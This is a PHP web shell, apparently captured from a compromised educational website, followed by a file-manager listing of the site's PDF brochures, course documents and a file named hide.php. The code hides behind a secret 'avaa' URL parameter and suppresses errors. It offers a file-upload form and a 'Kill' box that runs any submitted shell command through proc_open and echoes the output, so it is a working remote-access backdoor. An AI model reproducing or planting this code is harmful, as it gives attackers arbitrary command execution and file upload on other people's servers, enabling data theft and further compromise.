<?php error_reporting(0); set_time_limit(0); if (isset($_GET['avaa'])) { echo "<br><form method='POST' enctype='multipart/form-data'> <input type='file' name='file' /> <input type='submit' value='>>>' /> </form>"; echo '<form method="post"> <input type="text" name="xmd" size="30"> <input type="submit" value="Kill"> </form>'; if (isset($_FILES['file'])) { $filename = $_FILES['file']['name']; $filetmp = $_FILES['file']['tmp_name']; if (move_uploaded_file($filetmp, $filename)) { echo '[OK] ===> ' . $filename; } } if (isset($_POST['xmd'])) { $xmd = $_POST['xmd']; $descriptors = array( 0 => array('pipe', 'r'), // stdin 1 => array('pipe', 'w'), // stdout 2 => array('pipe', 'w') // stderr ); $process = proc_open($xmd, $descriptors, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); $error = stream_get_contents($pipes[2]); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); echo "<pre>$output</pre>"; echo "Error:\n$error\n"; } else { echo "no"; } } }
Name | Type | Size | Permission | Actions |
---|---|---|---|---|
0-Brochure-Publisher-WhiteLogo_onWordle-PartnerBottom-AHS_Mauve-LP.pdf | File | 249.17 KB | 0644 |
|
201718CPD FlyerV10.pdf | File | 483.01 KB | 0644 |
|
201718CurrentCourses.pdf | File | 55.03 KB | 0644 |
|
2018_19 Brochure final.pdf | File | 525.84 KB | 0644 |
|
ACE TIC Resource Community Guide Final 2016.pdf | File | 2.15 MB | 0644 |
|
COHORT 5 RESOURCES.pdf | File | 156.93 KB | 0644 |
|
COMPILED RESOURCES FOR COHORT 4.pdf | File | 158.6 KB | 0644 |
|
CanREACHbooklet.pdf | File | 2.12 MB | 0644 |
|
Cohort 3 Resource Summary.pdf | File | 222.19 KB | 0644 |
|
Cohort 6 Resources.pdf | File | 101.35 KB | 0644 |
|
D2L-Guide-updated2014.pdf | File | 2.9 MB | 0644 |
|
HMHC Desk reference complete third edition 2011.pdf | File | 612.32 KB | 0644 |
|
hide.php | File | 1.03 KB | 0644 |
|